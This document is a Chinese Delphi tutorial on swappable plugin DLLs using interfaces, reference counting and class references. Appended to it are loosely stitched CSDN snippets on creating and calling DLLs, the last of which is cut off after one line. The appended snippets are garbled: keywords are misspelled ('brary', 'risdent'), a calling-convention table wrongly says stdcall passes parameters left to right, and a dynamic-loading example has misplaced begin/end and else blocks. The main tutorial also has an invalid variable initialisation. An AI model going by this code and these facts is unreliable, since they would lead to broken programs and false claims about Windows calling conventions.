DLL 在使用上又有靜態與動態載入的區別，所謂「靜態載入的 DLL」意指在編譯時期已經確定要連結的 DLL 是哪一個，而且會在行程初始化的階段就被載入，Delphi 的 VCL packages 即屬此類。動態載入的 DLL 則是執行時期需要時才載入，在程式撰寫上比靜態載入的方式麻煩些，但較有彈性，且應用程式啟動的速度也較快。

本文所要討論的就是以動態載入的 DLL 來實作可抽換的應用程式模組。

以 DLL 切割應用程式

一般來說，使用 DLL 有下列優點：

  • 節省記憶體。多個應用程式使用同一個 DLL 時，該 DLL 只會被載入一次，甚至可以用到時才載入 DLL，且用完立即釋放。
  • 程式碼重複使用，可讓不同的程式語言使用。
  • 應用程式模組化，可降低應用程式的複雜度，程式更新維護時較方便。
  • 可支援設計多國語言的應用程式。你可以把每一種語言的字串資源分別存放在一個 DLL 裡面，程式執行時便可以動態切換程式所使用的語言。

但也會一些困難必須克服，當我們要將應用程式切割成數個 DLL 模組的時候，通常會碰到以下幾個問題：

  1. DLL 如何輸出（export） VCL 物件？
  2. 如何將一個 Form 包在 DLL 裡面以供外部使用？
  3. DLL 之間如何共享變數？

基本上，如果你撰寫成 package 的形式就沒有上述問題了，但你可能會遇到其他麻煩，例如：名稱衝突的問題，這包括了型態、單元名稱、函式名稱的衝突，在此之前我也曾試著以 package 的方式來撰寫可抽換的模組，但名稱衝突的問題令我覺得蠻困擾。我也曾在另一份文件中提及此事，以下這段文字是從該文轉貼上來的（2）：

「在撰寫幾個 package 的測試程式之後，我還是沒有將 package 應用在實際的專案開發中，而仍然使用 DLL，其最主要的原因，正是 package 優於 DLL 之處－－可以共享變數。這項功能的立意很好，但也帶來了另一些限制，主要是名稱衝突的問題，使得共用的 unit 一定要放在 package 裡面，否則當兩個 package 包含了相同的 unit，其中一個就無法載入，我們覺得這會造成麻煩。另外，由於其他的小組成員對於 package 的使用不熟，容易出 trouble（例如：project 要加入 .dcp 之類的），這也是考量之一。」

在 DLL 之間共享變數的問題可以透過記憶體映射檔（memory-mapped file）來解決，你可以在文後所附的參考資料中找到相關資訊，這裡就不贅述。而在 DLL 中輸出 VCL 物件（例如：string）時得注意以下幾點：

  • 在 DLL 和其用戶端程式的 Uses 子句裡頭的第一個單元必須是 ShareMem。
  • BORLNDMM.DLL 必須跟著你的應用程式一起發佈。
  • 如果你修改了輸出物件的類別定義而使得原有物件的記憶體佈局改變，比如說加入一個 Integer 型態的私有成員，用戶端程式就必須重新編譯，如果使用舊的用戶端程式來呼叫新的 DLL 函式，應用程式就會發生錯誤甚至導致當機。

與其隨時注意這些規則，也許選擇可以完全避開這些問題的方法會比較好，我的意思是使用 Windows 的標準型別來傳遞資料，例如要傳遞字串，就用 PChar 來代替 string。對其他較為複雜的結構，可以使用介面來解決，這意味著兩件事情：

  1. 輸出的型態是個抽象類別（abstract class）或介面（interface）。
  2. 物件應由 DLL 來建立（用戶端程式不知道物件的記憶體佈局）。

符合了以上的規則，對於如何將 Form 物件包在 DLL 裡面的問題也就迎刃而解，稍後就會講到這部分如何實作。

介面（interface）在物件導向的領域裡是一個很重要的觀念，它描述了服務提供者和使用者之間的權責，或者說定義了兩個物件之間溝通的方式，通常這個溝通方式一經制定就不會修改（理想狀況下），因此介面亦可視為物件之間的合約。以 OOP 的角度來看，介面就是一組公開的方法（public methods），跟類別不同之處是它沒有 private 及 protected 等存取等級的區別，不可以包含資料成員，也沒有實作的程式碼，它就只是很單純的....呃...介面。在一個複雜的系統裡面，這種單純顯得特別珍貴，常常得經過一番深思熟慮之後才能萃取出較為抽象的成分，這不但有助於你在設計時以比較抽象的層次去思考，同時設計出來的介面也比較能夠再拿來重複使用。以用戶端的角度來看，介面把系統背後的複雜度隱藏了起來，用戶端就只需專注在它需要的部分，使用上會比較容易。

設計可抽換的模組

所謂可抽換的模組，就是指在程式執行時動態地載入與釋放的模組，對於規模較龐大，功能較複雜的應用程式來說，將應用程式切割成數個獨立運作的模組有以下優點：

  • 應用程式部署的組態更加彈性（例如：有些模組僅包裝於某種版本中）。
  • 減少應用程式每次更新版本的檔案大小。
  • 有利於明確劃分小組成員的權責。
  • 有效地降低單一程式的複雜度，程式較易於維護。

以下會一步步實作出一個具體而微的範例，你可以把這個範例視為一個基礎的框架（framework），稍加修改就可以運用於實際的專案開發上面。

描述需求

讓我們來簡單地分析一下應用程式的需求，假設原本的開發方式是將所有的程式單元編譯連結成一個可執行檔，現在要將應用程式的各個功能切割為獨立的模組，例如：

                     +--- 客戶資料維護作業（Customer.DLL）
主程式（Main.exe）---+--- 產品資料維護作業（Employee.DLL）
                     +--- 訂單資料維護作業（Orders.DLL）

其中每個 DLL 都是在使用者執行該項功能的時候才動態載入，而且每個 DLL 裡面至少包含一個 Form，為了有別於一般的 DLL，以下就以 plugin 稱之。我們預期各 plugin DLL 所包含的 Form 會有一些共同的屬性和行為，因此把這些共同點放到一個基礎視窗類別裡面，讓其他 Form 繼承自這個基礎類別。它們的關係看起來像這樣：

每一個維護作業都需要開啟一個視窗，因此主程式的責任之一便是建立並顯示 DLL 裡面的視窗。我們希望每一個維護作業的視窗關閉後才能執行另一個維護作業，所以使用 ShowModal 的方式顯示視窗。做一些簡單的分析之後，可以得到主程式在執行每項作業時所需的共同步驟：

  1. 載入指定的 plugin DLL。
  2. 建立並顯示 plugin DLL 裡面的 Form 物件。
  3. 釋放 Form 物件。
  4. 釋放 plugin DLL。

其中載入與是釋放 plugin DLL 的工作由主程式負責，而前面有提過 DLL 中的物件必須由 DLL 自己來建立，因此建立、顯示以及釋放 Form 物件的工作都由 plugin DLL 來負責提供函式，主程式只要在適當時機去呼叫它們就行了。

主程式

在主程式中加入一個執行 plugin 的方法，此方法需要一個參數指定 DLL 的檔名以便將其載入執行，像這樣：

procedure TMainForm.RunPlugin(const FileName: string);
var
  ADllHandle: THandle;
  APlugin: IPlugin;
  AFormHandle: THandle;
begin
  ADllHandle := SafeLoadLibrary(FileName);
  if ADllHandle <> 0 then
  begin
    APlugin := DllCreatePlugin(ADllHandle, Application.Handle);
    try
      AFormHandle := APlugin.CreateForm(Handle);
      APlugin.ShowModalForm;
      APlugin := nil;
      FreeLibrary(ADllHandle);
    except
      FreeLibrary(ADllHandle);
      raise;
    end;
  end
  else
    ShowMessage('無法載入函式庫: ' + FileName);
end;

從以上程式碼可以看出主程式載入 DLL 之後會呼叫 DllCreatePlugin 來建立 plugin 物件並且取得其介面參考，接著主程式就利用該介面參考來存取 plugin 物件提供的服務，包括建立視窗，顯示視窗等等。很明顯地，IPlugin 介面是主程式和 plugin DLL 之間溝通的橋樑，而且 IPlugin 介面至少要提供下列方法：

CreateForm - 建立 Form 物件
ShowModalForm - 顯示視窗
DestroyForm - 摧毀 Form 物件

眼尖的讀者可能會發現，上面的程式中並沒有呼叫 DestroyForm，而且也沒有呼叫類似 DllDestroyPlugin 的函式來摧毀 plugin 物件，這些物件什麼時候會被釋放掉？

它們是自動被釋放掉的。由於 Form 物件的建立是透過 plugin 物件來完成，所以我打算把摧毀 Form 物件的責任交給 plugin 物件，也就是當 plugin 物件摧毀時會自動將 Form 物件一併釋放掉；而為了簡化摧毀 plugin 物件的動作，我讓 plugin 物件具有自動參考計數的能力，這麼一來只要該物件沒有人使用它（物件的參考計數為 0）就會自動釋放掉了，做法很簡單，只要讓實作 IPlugin 的類別繼承自 TInterfaceObject 就行了，其他細節都由 VCL 幫我們完成了。

LoadLibrary 與 FreeLibrary 也有自己的參考計數，並且用它來決定是否載入及釋放 DLL。也就是說重複呼叫 LoadLibrary('A.DLL') 並不會將 A.DLL 載入兩次，第二次的呼叫只會遞增參考計數而已；同樣的，FreeLibrary 會遞減 DLL 的參考計數，直到計數為 0 才會真正將 DLL 釋放掉。

接著看 DllCreatePlugin 函式：

type
  TCreatePluginFunc = function (hApp: THandle): IPlugin; stdcall;

const
  SDllCreatePluginFuncName = 'CreatePlugin';

implementation

resourcestring
  sErrorLoadingDLL = '無法載入模組!';
  sErrorDllProc = '無法呼叫 DLL 函式: %s';

function DllCreatePlugin(hLib, hApp: THandle): IPlugin;
var
  pProc: TFarProc;
  CreatePluginFunc: TCreatePluginFunc;
begin
  pProc := GetProcAddress(hLib, PChar(SDllCreatePluginFuncName));
  if pProc = nil then
    raise Exception.CreateFmt(sErrorDllProc, [SDllCreatePluginFuncName]);
  CreatePluginFunc := TCreatePluginFunc(pProc);
  Result := CreatePluginFunc(hApp);
end;

DllCreatePlugin 會嘗試從指定的 DLL 模組中呼叫函式 'CreatePlugin' 來建立 plugin 物件，並且傳回 plugin 物件的介面參考，參數 hLib 是 DLL 代碼，而 hApp 則直接傳遞給 DLL 的CreatePlugin 函式，這個參數的作用稍後會解釋。

至此主程式所需的程式碼大致上已經完成了，接下來看看 DLL 的 CreatePlugin 函式。

DLL 的輸出函式

我們的 plugin DLL 只有輸出一個函式供外界呼叫，就是前面提到的 CreatePlugin，其函式原型為：

function CreatePlugin(hApp: THandle): IPlugin; export; stdcall;

CreatePlugin 函式會建立 TPlugin 物件並且傳回 IPlugin 介面的參考。由於 plugin 物件僅需被建立一次，我們可以用一個全域變數實作出簡單的 Singleton（3）：

var
  g_PluginIntf: IPlugin = nil;

implementation

function CreatePlugin(hApp: THandle): IPlugin;
begin
  Application.Handle := hApp; // 讓 EXE 與 DLL 使用同一個 application handle.
  if g_PluginIntf = nil then
    g_PluginIntf := TPlugin.Create; // TPlugin 的物件參考計數 = 1
  Result := g_PluginIntf;           // TPlugin 的物件參考計數 = 2
end;

CreatePlugin 需要傳入一個參數 hApp，代表呼叫者程序的 Application 物件的 Handle，通常是傳入 Application.Handle，好讓主程式和 DLL 的 Application 物件能夠「同步」。之所以要這麼做是因為當你的 DLL 專案未使用 "Build with runtime package" 選項時，執行檔和載入的 DLL 會各自有一個 Application 物件，但是只有執行檔的 Application 物件有連結一個視窗，DLL 則沒有，因此 DLL 的 Application.Handle 屬性總是為 0。若少了這個同步的動作，那麼當 DLL 的 Form 開啟時，你會在桌面的工作列上看到多了一個視窗按鈕，看起來就像執行了另一個應用程式一樣，我們不希望看到這種情形。

當然啦，如果你的主程式和 DLL 都使用 "Build with runtime packages" 來建立（你應該這麼做），就不需要這個同步動作了（想想看為什麼？）。

程式碼裡面有兩行關於物件參考計數的註解，是想要表達介面程式設計的一個基本觀念：當一個介面參考在函式之間以 pass by value 的方式傳遞時會遞增物件的參考計數（pass by reference 則不會）。此觀念有助於你正確掌握物件的壽命。

最後別忘了還要把這輸出函式加到專案原始碼的 exports 子句裡頭：

exports
  CreatePlugin;

IPlugin 介面與 TPlugin 類別

IPlugin 介面定義如下：

IPlugin = interface
['{D3F4445A-C704-42BC-8283-822541668919}']    // 按 Ctrl+Shift+G 產生 GUID
  function CreateForm(hMainForm: THandle): THandle;
  procedure DestroyForm;
  function ShowModalForm: Integer;
end;

其實以上函式也可以寫成一般的 DLL 函式，當作是 DLL 的介面，之所以另外定義這個介面，一方面是希望簡化 DLL 本身的介面，另一方面也可以集中管理程式碼，以後如果需要增加介面方法的話，只要加在 IPlugin 介面裡面就好了，不用把現有的 DLL 原始碼一個個找出來修改，這也有助於簡化 DLL 的撰寫以及日後的維護工作。

介面不包含實作，實作必須由類別來提供。

接著定義一個 TPlugin 類別來實作 IPlugin 介面：

TPlugin = class(TInterfacedObject, IPlugin)
private
  FForm: TForm;
public
  destructor Destroy; override;

  function CreateForm(hMainForm: THandle): THandle;
  procedure DestroyForm;
  function ShowModalForm: Integer;
end;

在 IPlugin 中加上 GUID 以及讓 TPlugin 繼承自 TInterfacedObject 的目的，是為了讓物件擁有 Interfaced RTTI 以及自動參考計數的能力，這樣我們的 TPlugin 物件就會在沒有任何人使用它時自動釋放掉。私有成員 FForm 記錄了此 plugin 物件所建立的視窗的參考，以便控制其壽命，其型態也可以視需要改成 TBaseForm，那麼你的 TBaseForm 的設計得盡量不要經常修改，或者說設計得抽象一些，讓這些核心的類別在比較抽象的層次上面運作。

各個方法的名稱皆可望文生義，程式碼也很簡單，相信你可以猜個八九不離十，這裡就不一一列出，比較值得一提的是 CreateForm 函式與解構元 Destroy，分述如下：

TPlugin.CreateForm - 使用類別參考來建立物件

在 CreateForm 函式裡面，建立 Form 物件的那行程式是這麼寫的：

  FForm := g_ConcreteClass.Create(Application);

其中 g_ConcreteClass 是一個全域變數，其定義為：

var
  g_ConcreteClass: TBaseFormClass := nil;

而 TBaseFormClass 是一個類別參考型態（class-reference type），它跟 TBaseForm 定義在同一個單元裡面：

type
  TBaseFormClass = class of TBaseForm;

  TBaseForm = class(TForm)
  .....
  end;

也就是說我們用一個類別參考型態的變數 g_ConcreteClass 來記錄欲實體化的類別型態，因此在建立 Form 物件之前還必須先設定 g_ConcreteClass 才行，如此 TPlugin 才能以正確的 Form 類別來進行實體化的動作。

您或許會想為什麼要這麼麻煩，直接寫成像 TCustomerForm.Create 這樣不就好了嗎？

簡單地說，是基於維護的考量。由於在整個 TPlugin 的實作裡面，日後唯一可以能會經常變動的就是要被實體化的 Form 類別，使用類別參考使我們免於在 TPlugin 的實作程式碼裡面把類別型態寫死，以後如果要實體化其他的 Form 類別，只要修改 g_ConcreteClass 這個變數就行了，不用再費一番搜尋及替換文字的功夫，還得擔心有沒有哪裡沒有改到；換句話說，我們等於使用類別參考來讓編譯器幫我們完成這個替換文字的動作，而且保證不會遺漏任何地方。

我交替使用了「建立物件」與「實體化」兩種詞彙，其實它們指的是同一件事情：建立某個類別的實體（instance）。

此技巧對於團隊開發也有好處，你只要公佈 TPlugin 和 TBaseForm 兩個單元，然後告訴組員照下面兩個步驟做就行了：

  1. 從 TBaseForm 衍生一個新類別（可以利用 Delphi 的物件寶庫來簡化這項工作）。
  2. 在這個新類別的單元的 Uses 子句裡加入 TPlugin 類別所屬的單元，並且在初始化階段把類別名稱指定給 g_ConcreteClass 變數。

在這個範例裡面，我們只有一個 TBaseForm 的後代，叫做 TForm1，因此在 TForm1 的單元裡面會有這一段：

uses
  DllExport;  // TPlugin 類別實作放在這個單元裡面

.....

initialization
  g_ConcreteClass := TForm1;

TPlugin.Destroy

解構函式會呼叫 DestroyForm 使 Form 物件一併釋放掉，並且還原 DLL 的 application handle：

destructor TPlugin.Destroy;
begin
  DestroyForm;
  Application.Handle := g_DllAppHandle;
  inherited Destroy;
end;

其中 g_DllAppHandle 是一個全域變數，其宣告如下：

var
  g_DllAppHandle: THandle;

而我們必須在 DLL 初始化的時候將 DLL 本身的 application handle 保存起來：

initialization
  g_DllAppHandle := Application.Handle;

其實如果 DLL 專案有用 "Build with runtime package" 選項的話，這個保存及還原 application handle 的動作就可以免了。相反地，若不加上保存及還原的動作，而且 DLL 專案不使用 "Build with runtime package" 選項的話，當 DLL 被釋放時就會發生主視窗也被一併關閉的怪異情形。

擅用原始的力量

到此重要的部分應該都已經提到了，您可能會發現我並沒有對 TBaseForm 多做說明，原因是在這個範例程式中 TBaseForm 並沒有什麼特別之處，只是為日後擴充時預留的一個基礎類別，你也許會想要將各個模組共用的功能和視覺化介面集中在此類別以簡化各模組的撰寫工作，以及讓應用程式有一致的操作方式和行為，這部分每個人的需求不同，就請您自行發揮了。

如果你覺得以上的程式碼過於片段零散，無法獲得整體的概念，建議您直接看範例的原始碼，把範例程式執行一遍以觀察程式運作的過程，不了解的地方再回來文件裡尋找解釋，這樣也許會比較容易些。為了方便閱讀，我也把範例程式中比較重要的兩個單元分別列在表一和表二裡面了。

列表一. DllUtils.pas
unit DllUtils;

interface

uses
  Windows, Messages, SysUtils, Classes, Forms, Controls;

type
  IPlugin = interface
  ['{D3F4445A-C704-42BC-8283-822541668919}']
    function CreateForm(hMainForm: THandle): THandle;
    procedure DestroyForm;
    function ShowModalForm: Integer;
  end;

  TCreatePluginFunc = function (hApp: THandle): IPlugin; stdcall;

function DllCreatePlugin(hLib, hApp: THandle): IPlugin;

implementation

resourcestring
  sErrorLoadingDLL = '無法載入模組!';
  sErrorDllProc = '無法呼叫 DLL 函式: %s';

const
  SDllCreatePluginFuncName = 'CreatePlugin';

function DllCreatePlugin(hLib, hApp: THandle): IPlugin;
var
  pProc: TFarProc;
  CreatePluginFunc: TCreatePluginFunc;
begin
  Result := nil;
  if hLib = 0 then
    Exit;
  pProc := GetProcAddress(hLib, PChar(SDllCreatePluginFuncName));
  if pProc = nil then
    raise Exception.CreateFmt(sErrorDllProc, [SDllCreatePluginFuncName]);
  CreatePluginFunc := TCreatePluginFunc(pProc);
  Result := CreatePluginFunc(hApp);
end;

end.

列表二. DllExport.pas
unit DllExport;

interface

uses Windows, Classes, Forms, DllUtils, BaseFrm;

type
  // Inherited from TInterfacedObject to be reference-counted.
  TPlugin = class(TInterfacedObject, IPlugin)
  private
    FForm: TBaseForm;
  public
    destructor Destroy; override;

    function CreateForm(hMainForm: THandle): THandle;
    procedure DestroyForm;
    function ShowModalForm: Integer;
  end;

function CreatePlugin(hApp: THandle): IPlugin; export; stdcall;

exports
  CreatePlugin;

var
  g_ConcreteClass: TBaseFormClass := nil;
  g_PluginIntf: IPlugin = nil;
  g_DllAppHandle: THandle;

implementation

uses Dialogs, SysUtils;

function CreatePlugin(hApp: THandle): IPlugin;
begin
  if hApp <> 0 then
    Application.Handle := hApp;     // Sync Application handle.

  if g_PluginIntf = nil then
    g_PluginIntf := TPlugin.Create;
  Result := g_PluginIntf;
end;

{ TPlugin }

destructor TPlugin.Destroy;
begin
  DestroyForm;
  Application.Handle := g_DllAppHandle;
  inherited Destroy;
end;

function TPlugin.CreateForm(hMainForm: THandle): THandle;
begin
  if FForm = nil then
  begin
    Assert(g_ConcreteClass <> nil, '未設定欲實體化的 Form 類別名稱!');
    FForm := g_ConcreteClass.Create(Application);
    FForm.MainFormHandle := hMainForm;
  end;
  Result := FForm.Handle;
end;

procedure TPlugin.DestroyForm;
begin
  if FForm <> nil then
  begin
    FForm.Release;
    FForm := nil;
  end;
  Application.ProcessMessages;
end;

function TPlugin.ShowModalForm: Integer;
begin
  if FForm = nil then
    raise Exception.Create('DllExoprt: 視窗尚未建立!');
  Result := FForm.ShowModal;
end;

initialization
  g_DllAppHandle := Application.Handle;

end.

範例程式

範例程式可以按此處下載：PluginDLL.zip

下載壓縮檔並解開後，請先閱讀其中的 readme.txt。

可改進之處

你可以試著修改範例程式並強化它，使它可以當作實際開發專案的基礎框架，以下列出幾項可能的改進之處：

  • 賦予 TBaseForm 基本的資料處理能力，像是新增、修改、刪除...等。
  • 修改使之適用於 modeless form 及 MDI 應用程式。這意味著釋放 DLL 的時機也會改變，你可能會需要一個串列結構將載入的 DLL 記錄起來，通常一個 TStringList 就可以做到。
  • 讓一個 plugin 物件可以建立並維護多個不同類型的 Form 物件。

你可能會希望一個 DLL 裡面可以提供多種 form 物件供主程式使用，這些 form 物件之間可能有某種程度的相似或相依關係。根據此需求我們可以整理出 plugin 物件具備以下兩個特性：

  1. plugin 物件可以建立多種不同類型的 form 物件，而它們都是繼承自基礎的表單類別 TBaseForm。
  2. 一個 DLL 裡面只需要一個 plugin 物件。

根據 [GHJV95] 書中的定義，Abstract Factory 的用意是：

「提供一個介面來建立同一族系或相依的物件，而毋須指明它們的具象類別（concrete class）」

而 Factory 通常也被實作成 Singleton，這些特性清楚地告訴我們 plugin 物件非常適合實作成一個 Factory。你可能需要在 TPlugin 類別裡面提供一個 RegisterClass 方法，這個方法取代了原先的類別參考型態，原本在 TBaseForm 子類別的單元裡設定 g_ConcreteClass 的敘述將會改成：

  PluginFactory.RegisterClass(TForm1);

註冊過的類別資訊將會被記錄在一個串列裡面。主程式則可以在建立 form 物件時透過字串來指定要建立的 form 類別名稱，像這樣：

  APlugin.CreateForm('TCustomerForm');

plugin 物件的 CreateForm 方法就會到串列中搜尋註冊過的類別，取得對應的類別參考並建立其實體（是不是有點像 COM 所做的事情？）。

嗯，我想這樣的提示應該夠了，最重要的還是要自己實際去撰寫及除錯程式碼以獲得更深刻的體會，真能如此，這個 Design Pattern 就會完全融入你的知識體系裡面，以後不加思索便可以運用自如了。

結語

在這份文件裡面主要是介紹以 Delphi 來設計 plugin 模組的實作過程，其中運用了介面程式設計的技巧（包括介面的參考計數以及物件生命週期的控制）以及 Design Patterns 來解決設計時遭遇的問題，這也是學習的重點之一。

在一個多人開發的專案裡，如果您的責任是設計主程式框架，當您要以 DLL 來切割應用程式時會怎麼做呢？這篇文章裡面展示了一種可能的設計方式，如果您有不同的想法或者對本文有任何建議，都很歡迎您來信指教。

Delphi 的 DLL 記憶體漏洞

最後，雖然不是本文的主題，但也頗值得注意的，就是動態載入的 DLL 在釋放時會有 4K 的記憶體漏洞，而且 Delphi 5 和 6 都有這個問題，你可以閱讀下面兩份文件，其中有詳細的說明並提供解決之道：

  • Memory Lost And Found...And Release by Roy Nelson.
    http://www.thedelphimagazine.com/samples/1328/1328.htm
  • VCL leak fix for dynamic DLLs by Dejan Maksimovic.
    http://codecentral.borland.com/codecentral/ccweb.exe/listing?id=16380

註1. | 由於 DLL 版本的更新可能使得原本叫用它的程式無法正常運作，因此以不同的檔名區分版本（例如：MFCxx.DLL），使得硬碟裡面必須保存同一種 DLL 的多個版本，即使使用者將應用程式移除了，卻不敢放心的移除相關的 DLL 檔案，以免其他應用程式因為缺少了這個檔案而無法運作，這種情況所形成的問題稱為 DLL hell。COM 的出現有解決此問題的企圖（透過執行時期詢問元件支援的介面），但似乎並不理想，直到 .NET 的問世而終於有了比較好的解決方案。
註2. | 可以到 http://www.geocities.com/huanlin_tsai/ 的〔心得分享〕區找到相關文章。不可諱言，以上所說的難免摻雜了個人的因素，也許其他人在使用 package 時並未發生上述問題，而且使用 package 的方式也有許多優點，在此僅將個人實際應用時的狀況與感覺描述出來，若有謬誤之處尚請各方不吝指正。
註3. | Singleton 樣式：提供單一窗口來建立類別的實體，以確保只有一個類別的實體存在。參考 [GHJV95] 的書。

參考資料

  • Delphi 學習筆記。作者：錢達智。碁峰資訊，1998。
  • [Cantu2001] Marco Cantu. Mastering Delphi 6. SYBEX, 2001.
  • [Harmon2000] Eric Harmon. Delphi COM Programming. MTP, 2000.
  • [GHJV95] E. Gamma, R. Helm, R. Johnson, J. Vlissides. Design Patterns: Elements of Reusable Object-Oriented Software. Addison-Wesley, 1995. 中文版：物件導向設計模式，葉秉哲。培生，2001。


CSDN_文档中心_dll的创建与调用

tiDLL参数调用约定

——————————————————————

令 传递顺序 参数删除

stdcall 从左到右 函数方面

cdecl 从右到左 调用方面

pascal 从左到右 函数方面

register 从左到右 函数方面

━━━━━━━━━━━━━━━━━━━━━━

退出过程编译时必须关闭stack_checking，因而需设置编译指示 {$S-} 。

━━━━━━━━━━━━━━━━━━━━━

//——————————dll的创建

brary mydll

{$S-}

//————————uses单元

uses

classes,stdsys, form in 'form.pas'{form};

//—————————变量声明

var

love:string;

baby:integer;

SaveExit: Pointer;

//—————————函数和过程

procedure myinnerproc();stdcall; //内部使用过程

begin

{添入代码}

end;

procedure myproc(var love:string);stdcall;export; //输出可以调用过程

begin

{添入代码}

end;

function myfunction(baby:integer):integer;stdcall;export;//可调用函数

begin

{添入代码}

end;

procedure LibExit; far;

begin

if ExitCode = wep_System_Exit then

begin

{ 系统关闭时的相应处理 }

end

else

begin

{ DLL卸出时的相应处理 }

end;

ExitProc := SaveExit; { 恢复原来的退出过程指针 }

end;

//——————————输出说明

exports

myproc name 'myproc' index 1,

myfunction name 'myfuntion' index 2 risdent;//输出信息始终保持在内存中{risdent}

//——————————初始化工作

begin

{DLL的初始化工作 }

SaveExit := ExitProc; { 保存原来的退出过程指针 }

ExitProc := @LibExit; { 安装新的退出过程 }

End.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

表10.1 ExitCode的取值与意义 ：取 值 意 义

—————————————————————

WEP_System_Exit Windows关闭

WEP_Free_DLLx DLLs被卸出

━━━━━━━━━━━━━━━━━━━━━

//--------------调用dll

1。静态调用

   在静态调用一个DLLs中的过程或函数时，external指示增加到过程或函数的声明语句中。

被调用的过程或函数必须采用远调用模式。这可以使用far过程指示或一个{$F +}编译指示。

Delphi全部支持传统Windows动态链接库编程中的三种调用方式，它们是：

    ● 通过过程/函数名

    ● 通过过程/函数的别名

    ● 通过过程/函数的顺序号

//————————————————————静态调用举例

unit windows

interface

function FindWindowsEx(Parent,Child:hwnd;classname,windowsname:pchar):hwnd;stdcall;

const

user32='user32.dll'

implementation

function FindWindowEx; external user32 name 'FindWindowExA'

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

2. 动态调用

2.1 动态调用中的API函数

    动态调用中使用的Windows API函数主要有三个,即：Loadlibrary，GetProcAddress和Freelibrary。

1.Loadlibrary: 把指定库模块装入内存

    语法为：　　function Loadlibrary(LibFileName: PChar): THandle;

LibFileName指定了要装载DLLs的文件名，如果LibFileName没有包含一个路径，则Windows按下述顺序进行查找：

  (1)当前目录；

  (2)Windows目录(包含win.com的目录)。函数GetWindowDirectory返回这一目录的路径；

  (3)Windows系统目录(包含系统文件如gdi.exe的目录)。函数GetSystemDirectory返回这一目录的路径；

  (4)包含当前任务可执行文件的目录。利用函数GetModuleFileName可以返回这一目录的路径；

  (5)列在PATH环境变量中的目录；

  (6)网络的映象目录列表。

    如果函数执行成功，则返回装载库模块的实例句柄。否则，返回一个小于HINSTANCE_ERROR的错误代码。错误代码的意义如下表：

表10.2 Loadlibrary返回错误代码的意义

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

错误代码　　　　　　　　　意　　　　　　　　义

——————————————————————————————————————

0 系统内存不够，可执行文件被破坏或调用非法

2 文件没有被发现

3 路径没有被发现

5 企图动态链接一个任务或者有一个共享或网络保护错

6 库需要为每个任务建立分离的数据段

8 没有足够的内存启动应用程序

10 Windows版本不正确

11 可执行文件非法。或者不是Windows应用程序，或者在.EXE映像中有错误

12 应用程序为一个不同的操作系统设计(如OS/2程序)

13 应用程序为MS DOS4.0设计

14 可执行文件的类型不知道

15 试图装载一个实模式应用程序(为早期Windows版本设计)

16 试图装载包含可写的多个数据段的可执行文件的第二个实例

19 试图装载一个压缩的可执行文件。文件必须被解压后才能被装裁

20 动态链接库文件非法

21 应用程序需要32位扩展

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

假如在应用程序用Loadlibrary调用某一模块前，其它应用程序已把该模块装入内存，则Loadlibrary并不会装载该模块的另一实例，而是使该模块的“引用计数”加1。

2.GetProcAddress：捡取给定模块中函数的地址

  语法为：　　function GetProcAddress(Module: THandle; ProcName: PChar): TFarProc;

Module包含被调用的函数库模块的句柄，这个值由Loadlibrary返回。如果把Module设置为nil，则表示要引用当前模块。

  ProcName是指向含有函数名的以nil结尾的字符串的指针，或者也可以是函数的次序值。如果ProcName参数是次序值，则如果该次序值的函数在模块中并不存在时，GetProcAddress仍返回一个非nil的值。这将引起混乱。因此大部分情况下用函数名是一种更好的选择。如果用函数名，则函数名的拼写必须与动态链接库文件EXPORTS节中的对应拼写相一致。

如果GetProcAddress执行成功，则返回模块中函数入口处的地址，否则返回nil。

3.Freelibrary：从内存中移出库模块

    语法为：　procedure Freelibrary(Module : THandle);

Module为库模块的句柄。这个值由Loadlibrary返回。

    由于库模块在内存中只装载一次，因而调用Freelibrary首先使库模块的引用计数减一。如果引用计数减为0，则卸出该模块。

  每调用一次Loadlibrary就应调用一次FreeLibray，以保证不会有多余的库模块在应用程序结束后仍留在内存中。

//———————————— 动态调用举例

  在利用GetProcAddess返回的函数指针时，必须进行强制类型转换：

Order := TInstr(PFunc)(text,Key);

  TInStr是一个定义好了的函数类型：

type

TInStr = function(Source: PChar;Check: Char): Integer;

//---------------------------------

procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);

var

order: Integer;

txt: PChar;

PFunc: TFarProc;

Moudle: THandle;

begin

Moudle := Loadlibrary('c:\dlls\example.dll');

if Moudle > 32 then

begin

Edit2.text := '';

Pfunc := GetProcAddress(Moudle,'Instr');

txt := StrAlloc(80);

txt := StrPCopy(txt,Edit1.text);

Order := TInstr(PFunc)(txt,Key);

if Order = -1 then

Label1.Caption := '不包含这个字符 '

end else

Label1.Caption := '位于第'+IntToStr(Order+1)+'位';

Freelibrary(Moudle);

end;

//———————————— 用于实现数据传输的DLLs的编写

用于实现数据传输的DLLs与一般DLLs的编写基本相同，其中特别的地方是：

1. 定义一个全局变量句柄：

var

hMem: THandle;

2. 定义一个过程，返回该全局变量的句柄。该过程要包含在exports子句中。如：

function GetGlobalMem: THandle; export;

begin

Result := hMem;

end;

3. 在初始化代码中分配全局内存块：

程序清单如下：

begin

hMem := GlobalAlloc(gmem_MOVEABLE and gmem_DDEShare,num);

if hMem = 0 then

MessageDlg('Could not allocate memory',mtWarning,[mbOK],0);

end.

//————————————————————————————————

  num是一个预定义的常数。

表10.3 全局内存块的分配标志 ：标 志 意 义

—————————————————————————————————

gmem_DDEShare 分配可由应用程序共享的内存

gmem_Discardable 分配可抛弃的内存(只与gmem_Moveable连用)

gmem_Fixed 分配固定内存

gmem_Moveable 分配可移动的内存

gmem_Nocompact 该全局堆中的内存不能被压缩或抛弃

gmem_Nodiscard 该全局堆中的内存不能被抛弃

gmem_NOT_Banked 分配不能被分段的内存

gmem_Notify 通知功能。当该内存被抛弃时调用GlobalNotify函数

gmem_Zeroinit 将所分配内存块的内容初始化为零

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

有两个预定义的常用组合是：

GHND = gmem_Moveable and gmem_Zeroinit

GPTK = gmem_Fixed and gmem_Zeroinit

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


CSDN_文档中心_DLL文件在Delphi的创建及调用

主题:DLL文件在Delphi的创建及调用

现时系统的开发，多数都在几人以上的组合，工合作方式开发，这样也方便系统的快速开发目的。
